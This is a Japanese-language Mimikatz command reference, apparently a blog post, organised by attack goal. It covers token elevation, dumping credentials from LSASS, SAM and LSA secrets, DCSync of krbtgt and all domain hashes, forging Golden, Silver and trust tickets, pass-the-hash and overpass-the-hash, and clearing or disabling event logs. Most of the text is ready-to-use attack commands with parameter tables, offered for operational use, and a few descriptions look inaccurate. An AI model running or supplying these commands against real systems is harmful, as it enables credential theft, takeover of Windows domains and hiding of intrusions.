目的別のMimikatzコマンドリファレンス
🚀 権限昇格 (Privilege Escalation)
Mimikatzを実行するため、または特定の操作を行うために必要な権限を取得します。
デバッグ権限の取得
他のプロセスのメモリ(特にLSASS)にアクセスするために必要な権限です。管理者権限で実行する必要があります。
mimikatz # privilege::debug
mimikatz # exit
成功すると “Privilege ’20’ OK” と表示されます。
トークン操作
システムの権限トークンを操作して権限昇格を試みます。SYSTEMトークンなどを借用することが一般的です。
利用可能なトークンの一覧表示
mimikatz # token::list
現在利用可能な権限トークン(偽装トークンやプライマリートークン)を一覧表示します。
特定のユーザーまたはSYSTEMトークンの借用 (Impersonate)
mimikatz # token::elevate /SYSTEM
SYSTEMアカウントのプライマリートークンを借用し、新しいプロセス(通常はcmd.exe)をSYSTEM権限で起動します。
mimikatz # token::elevate /user:DOMAIN\Username /password:Password123
特定のユーザーの認証情報を使用してトークンを取得し、そのユーザーとしてプロセスを起動します。
mimikatz # token::elevate /domainadmin
現在 Logon session 内に存在する Domain Admin のトークンを借用します。成功すれば Domain Admin 権限で操作可能になります。
現在のトークン権限の表示
mimikatz # token::whoami
Mimikatzプロセスが現在どのユーザー/権限で動作しているかを表示します。
トークンの回復
mimikatz # token::revert
借用していたトークンを解放し、元のトークンに戻ります。
🔑 認証情報ダンプ (Credential Dumping)
メモリ、SAMデータベース、ドメインコントローラーなどからユーザーの認証情報(パスワード、ハッシュ、チケットなど)を抽出します。
LSASS プロセスメモリからの抽出
Local Security Authority Subsystem Service (LSASS) のメモリから、ログイン中のユーザーの認証情報を抽出します。最も一般的に使用される機能です。管理者権限とデバッグ権限が必要です。
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # exit
`sekurlsa::logonpasswords` は、以下の情報をまとめて取得しようとします。
- 平文パスワード (WDigest, LiveSSP)
- Kerberosチケット
- NTLMハッシュ
- その他 (SSP, TSPkg)
注意: Windows 8.1/2012 R2以降、WDigestはデフォルトでメモリに平文パスワードを保存しません(レジストリ設定による)。
特定の認証プロバイダを指定して抽出
コマンド | 説明 |
---|---|
sekurlsa::msv |
NTLMハッシュと、場合によってはSHA1ハッシュを取得します。 |
sekurlsa::kerberos |
Kerberosチケット(TGT, TGS)と関連情報(PIN、キーなど)を取得します。 |
sekurlsa::wdigest |
平文パスワードを取得します(有効な場合)。 |
sekurlsa::tspkg |
Terminal Services Package 関連の認証情報を取得します。 |
sekurlsa::ssp |
Security Support Provider 関連の認証情報を取得します。 |
sekurlsa::livessp |
Live ID Security Support Provider 関連の認証情報を取得します (Windows アカウントなど)。 |
LSASSミニダンプファイルからの抽出
別のマシンで取得したLSASSプロセスのメモリダンプファイル (.dmp) から認証情報を抽出します。
mimikatz # sekurlsa::minidump lsass_dump.dmp
mimikatz # sekurlsa::logonpasswords
mimikatz # exit
まずミニダンプファイルを読み込み、その後で通常の抽出コマンドを実行します。
SAM/SYSTEMファイルからの抽出 (オフライン)
システムが起動していない状態や、別のマシンから取得したSAM (Security Account Manager) および SYSTEM レジストリハイブファイルからローカルアカウントのNTLMハッシュを抽出します。
mimikatz # lsadump::sam /sam:C:\path\to\SAM /system:C:\path\to\SYSTEM
mimikatz # exit
シャドウコピーなどから取得したファイルを使用することが一般的です。
LSA Secretsのダンプ (オフライン/オンライン)
LSA (Local Security Authority) に保存されているシークレット情報(サービスアカウントのパスワードなど)をダンプします。
mimikatz # privilege::debug
mimikatz # lsadump::secrets
mimikatz # exit
オンラインで実行する場合。
mimikatz # lsadump::secrets /system:C:\path\to\SYSTEM /security:C:\path\to\SECURITY
mimikatz # exit
オフラインでSYSTEMとSECURITYレジストリハイブファイルから実行する場合。
DCSync 攻撃 (ドメインコントローラー権限が必要) 😈
ドメインコントローラー (DC) のレプリケーションプロトコルを悪用し、DCに直接アクセスすることなく、特定のユーザー (通常は krbtgt や管理者アカウント) のパスワードハッシュをドメイン内の任意のメンバーサーバーから取得します。Domain Admins権限または同等のレプリケーション権限が必要です。
特定のユーザーのハッシュを取得
mimikatz # lsadump::dcsync /user:DOMAIN\TargetUser /domain:yourdomain.local
mimikatz # exit
`TargetUser` のNTLMハッシュなどを取得します。
krbtgtアカウントのハッシュを取得 (Golden Ticket作成に利用)
mimikatz # lsadump::dcsync /user:krbtgt /domain:yourdomain.local
mimikatz # exit
ドメイン全体のKerberos TGT (Ticket Granting Ticket) を暗号化するための `krbtgt` アカウントのハッシュを取得します。これが漏洩すると非常に危険です。
ドメイン全体のハッシュを取得 (全ユーザー)
mimikatz # lsadump::dcsync /all /csv /domain:yourdomain.local
mimikatz # exit
ドメイン内の全ユーザーのハッシュ情報をCSV形式で取得します。非常に時間がかかり、ログにも残りやすい操作です。
警告: DCSyncは非常に強力な攻撃手法であり、検知されやすい操作です。
その他の認証情報ストア
Windows Vault (資格情報マネージャー)
Windowsの資格情報マネージャーに保存されているWebサイトやネットワーク資格情報を表示します。
mimikatz # vault::list
mimikatz # vault::cred /guid:{GUID} # 特定のGUIDを指定して詳細表示
mimikatz # exit
`vault::list` で一覧表示し、GUIDを確認してから `vault::cred` で詳細(場合によっては平文パスワード)を表示します。
DPAPI (Data Protection API)
ユーザーのマスターキーを使用して、DPAPIで保護されたデータ(一部のパスワード、証明書など)を復号します。
mimikatz # sekurlsa::dpapi # 現在のユーザーのマスターキーを取得
mimikatz # dpapi::cred /in:C:\path\to\credential\file /masterkey:MASTERKEY_VALUE
mimikatz # exit
まず `sekurlsa::dpapi` でマスターキーを取得し、それを使用して保護されたファイルを `dpapi::cred` などで復号します。
🎫 Kerberos チケット操作 (Kerberos Ticket Manipulation)
Kerberos認証プロトコルで使用されるチケットを操作し、権限昇格や横展開を行います。
Kerberos チケットの表示・管理
現在のセッションのチケット一覧表示
mimikatz # kerberos::list
現在のユーザーセッションでキャッシュされているKerberosチケット(TGTおよびサービスチケット)を一覧表示します。
チケットのエクスポート
mimikatz # kerberos::list /export
現在のセッションのチケットを `.kirbi` ファイル形式でカレントディレクトリにエクスポートします。ファイル名はチケット情報に基づいて自動生成されます。
チケットの削除 (パージ)
mimikatz # kerberos::purge
現在のセッションのKerberosチケットキャッシュをすべて削除します。
Pass-the-Ticket (PtT) 🎟️
窃取または偽造したKerberosチケットを現在のセッションに挿入し、そのチケットの所有者になりすましてリソースにアクセスします。
.kirbi ファイルからチケットを挿入
mimikatz # kerberos::ptt C:\path\to\ticket.kirbi
指定された `.kirbi` ファイル(`kerberos::list /export` や他のツールで取得)を現在のセッションに挿入します。
メモリから直接チケットを挿入 (sekurlsa実行後)
`sekurlsa::tickets /export` コマンド (Mimikatz v2.1以降) でメモリから直接エクスポートされたチケットを挿入します。`sekurlsa::logonpasswords` などで取得したチケット情報からも可能です。
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export # メモリからチケットをエクスポート (kirbi形式)
mimikatz # kerberos::ptt ticket_user@domain_krbtgt~domain.local@DOMAIN.LOCAL.kirbi
mimikatz # exit
この後、`klist` コマンドや対象サービスへのアクセスでチケットが有効か確認します。
Golden Ticket (ゴールデンチケット) 👑
ドメインの `krbtgt` アカウントのパスワードハッシュ(NTLMハッシュまたはAESキー)を使用して、任意のユーザーとして偽の TGT (Ticket Granting Ticket) を作成します。これにより、ドメイン内のほぼすべてのリソースにアクセス可能になります。krbtgt のハッシュが必要です (DCSyncなどで取得)。
Golden Ticket の作成と挿入 (Pass-the-Ticket)
mimikatz # kerberos::golden /user:ForgedUser /domain:yourdomain.local /sid:S-1-5-21-domain-sid /krbtgt:krbtgt_hash /id:500 /ptt
mimikatz # exit
パラメータ | 説明 |
---|---|
/user:<username> |
偽装したいユーザー名 (存在しなくても良い場合がある)。通常は Administrator など。 |
/domain:<domain.fqdn> |
ターゲットドメインのFQDN。 |
/sid:<domain_sid> |
ターゲットドメインのSID (例: S-1-5-21-1234567890-1234567890-123456789)。whoami /user などで確認可能。 |
/krbtgt:<hash> |
krbtgtアカウントのNTLMハッシュまたはAESキー (AES128/AES256)。DCSyncなどで取得。 |
/id:<rid> |
偽装するユーザーのRID (Relative ID)。Administratorは通常500。省略するとランダムなユーザーになる場合がある。 |
/groups:<rid1,rid2,...> |
(オプション) 所属させたいグループのRIDリスト。デフォルトは Domain Admins など主要グループ。 |
/startoffset:<minutes> |
(オプション) チケットの有効開始時間を現在から何分前にするか。デフォルトは0 (現在)。 |
/endin:<minutes> |
(オプション) チケットの有効期間 (分)。デフォルトは10年 (Kerberosポリシーによる)。 |
/renewmax:<minutes> |
(オプション) チケットの最大更新可能期間 (分)。デフォルトは10年 (Kerberosポリシーによる)。 |
/ptt |
作成したチケットを現在のセッションに直接挿入 (Pass-the-Ticket)。 |
/ticket:<filename.kirbi> |
作成したチケットをファイルに保存。/ptt とは排他。 |
/aes128:<key> |
(オプション) NTLMハッシュの代わりにAES128キーを使用。 |
/aes256:<key> |
(オプション) NTLMハッシュの代わりにAES256キーを使用。 |
非常に強力: Golden Ticket はドメインコントローラーのパスワード変更ポリシーなどを回避できる場合があります。
Silver Ticket (シルバーチケット) 🥈
特定のサービスアカウントのパスワードハッシュ(NTLMハッシュ)を使用して、そのサービスに対する偽の TGS (Ticket Granting Service) チケットを作成します。これにより、特定のサービス(例: CIFS, HOST, RPCSS)へのアクセス権限を偽装できます。サービスアカウントのハッシュが必要です。
Silver Ticket の作成と挿入 (CIFSサービスの場合)
mimikatz # kerberos::golden /user:ForgedUser /domain:yourdomain.local /sid:S-1-5-21-domain-sid /target:fileserver.yourdomain.local /service:cifs /rc4:service_account_ntlm_hash /id:500 /ptt
mimikatz # exit
パラメータ | 説明 |
---|---|
/target:<server.fqdn> |
ターゲットとなるサーバーのFQDN。 |
/service:<spn_service_class> |
ターゲットサービスのSPN (Service Principal Name) のサービスクラス (例: cifs, host, rpcss, http, mssqlsvc)。 |
/rc4:<ntlm_hash> |
ターゲットサービスアカウントのNTLMハッシュ。 |
その他、/user , /domain , /sid , /id , /ptt , /ticket などは Golden Ticket と同様。 |
|
/aes128 /aes256 |
(オプション) サービスアカウントがAESキーを持つ場合、それらを使用可能。 |
Silver Ticket はターゲットサーバーのみで有効であり、KDC (Key Distribution Center) との通信を必要としません。そのため、検知されにくい場合があります。
Trust Ticket (信頼チケット) 🤝
フォレスト間の信頼関係で使用される信頼キー (Trust Key) を使用して、信頼されたフォレストのユーザーになりすますためのチケットを作成します。
mimikatz # kerberos::golden /user:ForgedUser@TrustedDomain /domain:yourdomain.local /sid:S-1-5-21-domain-sid /sids:S-1-5-21-trusted-domain-sid-519 /rc4:trust_key_hash /service:krbtgt /target:TrustedDomain.local /ptt
mimikatz # exit
信頼キーや信頼先ドメインのSIDなど、より多くの情報が必要です。主にフォレスト間の横展開に使用されます。
Kerberos チケット要求 (Ask)
現在のユーザーのコンテキストで、特定のSPNに対するTGSチケット、またはTGTをKDCに要求します。
TGTの要求
mimikatz # kerberos::ask /target:krbtgt/YOURDOMAIN.LOCAL
特定のサービス(SPN)に対するTGSの要求
mimikatz # kerberos::ask /target:cifs/fileserver.yourdomain.local
主にKerberos設定のテストや、特定のチケットをキャッシュさせたい場合に使用します。
↔️ 横展開支援 (Lateral Movement Support)
取得した認証情報(ハッシュやチケット)を使用して、ドメイン内の他のコンピューターへアクセスしたり、コマンドを実行したりします。
Pass-the-Hash (PtH) NTLM
ユーザーの平文パスワードの代わりにNTLMハッシュを使用して、新しいプロセス(通常はコマンドプロンプト)を起動し、リモートシステムへの認証を行います。SMB/WMIなどのNTLM認証を使用するプロトコルで有効です。
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:TargetUser /domain:TargetDomain /ntlm:NTHashValue /run:cmd.exe
mimikatz # exit
パラメータ | 説明 |
---|---|
/user:<username> |
使用するユーザー名。 |
/domain:<domain_or_computer> |
ターゲットドメイン名またはローカルアカウントの場合はコンピューター名。 |
/ntlm:<ntlm_hash> |
使用するNTLMハッシュ。 |
/run:<command> |
(オプション) 起動するコマンド。デフォルトは cmd.exe 。PowerShellなども指定可能 (例: powershell.exe -noP -sta )。 |
/aes128 /aes256 |
(オプション) Overpass-the-Hash (後述) のためにAESキーを指定する場合。 |
成功すると、指定したユーザーの権限で新しいコマンドプロンプトウィンドウが開きます。そのウィンドウから dir \\TargetMachine\c$
のようなコマンドを実行してリモートアクセスを試みます。
注意: Restricted Admin Mode や Remote Credential Guard が有効な環境では PtH が制限されることがあります。
Overpass-the-Hash (OPtH / PtK) Kerberos
ユーザーのパスワードハッシュ(NTLMハッシュまたはAESキー)を使用して、Kerberosの認証に必要なキーを導出し、TGTを要求します。これにより、Pass-the-Hash が使えない、またはKerberos認証が要求される環境での横展開が可能になります。
AESキーを使用する場合 (推奨)
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:TargetUser /domain:TargetDomain /aes256:AES256KeyValue /run:cmd.exe
mimikatz # exit
`sekurlsa::logonpasswords` などで取得したAESキーを使用します。
NTLMハッシュを使用する場合
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:TargetUser /domain:TargetDomain /ntlm:NTHashValue /run:cmd.exe
mimikatz # exit
PtHと同じコマンドですが、内部的にKerberosキーを生成し、TGTを取得します。成功すると、開いたコマンドプロンプトで klist
を実行するとKerberosチケットが表示されます。
OPtH は Pass-the-Ticket と似ていますが、チケット自体ではなく、チケットを取得するためのキー(ハッシュ由来)を渡す点が異なります。
リモートコマンド実行 (Misc)
Mimikatz自体に直接的なリモート実行機能は多くありませんが、取得した認証情報やチケットと組み合わせて他のツール(PsExec, WMI, WinRMなど)を使用する際に、misc::cmd
でローカルコマンドを実行できます。
mimikatz # misc::cmd
Mimikatzのインタラクティブモード内でローカルのコマンドプロンプトを起動します。PtH や PtT で権限を奪取したセッション内で直接他のツールを実行するのに便利です。
mimikatz # misc::runl /command:c:\tools\psexec.exe \\TargetMachine cmd.exe
指定したコマンドを新しいプロセスとして、現在のMimikatzセッションの権限(PtH/PtT/Token Elevate後など)で実行します。
🔧 その他ユーティリティ (Miscellaneous Utilities)
Mimikatzには、情報収集、システム操作、デバッグなどに役立つ様々な補助機能が含まれています。
システム・プロセス情報
コマンド | 説明 |
---|---|
misc::info |
Mimikatzのバージョン、OS情報、ユーザー情報などを表示します。 |
misc::version |
OSのバージョンとビルド番号を表示します。 |
process::list |
実行中のプロセスを一覧表示します。 |
process::suspend /pid:<PID> |
指定したプロセスIDのプロセスを一時停止します。 |
process::resume /pid:<PID> |
一時停止中のプロセスを再開します。 |
process::kill /pid:<PID> |
指定したプロセスIDのプロセスを強制終了します。 |
misc::cmd |
Mimikatz 内で cmd.exe を起動します。 |
misc::taskmgr |
タスクマネージャーを起動します。 |
misc::regedit |
レジストリエディタを起動します。 |
イベントログ操作 🧹
コマンド | 説明 |
---|---|
event::clear |
注意: システム、セキュリティ、アプリケーションのイベントログを消去します。非常に痕跡が残りやすい操作です。 |
event::drop |
イベントログサービス (EventLog) を停止し、パッチを適用してイベント記録を無効化しようと試みます (成功率は環境によります)。 |
サービス操作
コマンド | 説明 |
---|---|
service::list |
システム上のサービスを一覧表示します。 |
service::stop /name:<ServiceName> |
指定したサービスを停止します。 |
service::start /name:<ServiceName> |
指定したサービスを開始します。 |
service::remove /name:<ServiceName> |
指定したサービスを削除します。 |
service::preshutdown |
(特殊) シャットダウン前の通知をサービスに送信します。 |
暗号化・証明書関連 (Crypto/DPAPI) 🔐
コマンド | 説明 |
---|---|
crypto::liststores |
システムまたはユーザーの証明書ストアを一覧表示します。 |
crypto::listkeys |
利用可能な暗号化キープロバイダとキーコンテナを一覧表示します。 |
crypto::certificates /export |
システムまたはユーザーの証明書(秘密鍵付き)をエクスポートします (PFX/DER形式)。 |
crypto::capi |
CryptoAPI関数のフックを試みます。 |
crypto::cng |
Cryptography Next Generation (CNG) 関数のフックを試みます。 |
dpapi::masterkey |
ユーザーまたはシステムのDPAPIマスターキーを復号します(バックアップキーまたはパスワード/ハッシュが必要)。 |
dpapi::cred |
DPAPIで保護された資格情報ファイルを復号します(マスターキーが必要)。 |
dpapi::chrome |
(試験的) ChromeブラウザのクッキーなどをDPAPIキーを使って復号しようと試みます。 |
Mimikatz自身の操作
コマンド | 説明 |
---|---|
log [filename.log] |
Mimikatzの出力を指定したファイルに記録します。ファイル名を省略するとログ記録を停止します。 |
coffee |
Mimikatzのアイコンとウィンドウタイトルを変更します。(実行中の痕跡を隠すため) |
version |
Mimikatzのバージョン情報を表示します。 |
cls |
画面をクリアします。 |
exit |
Mimikatzを終了します。 |
コメント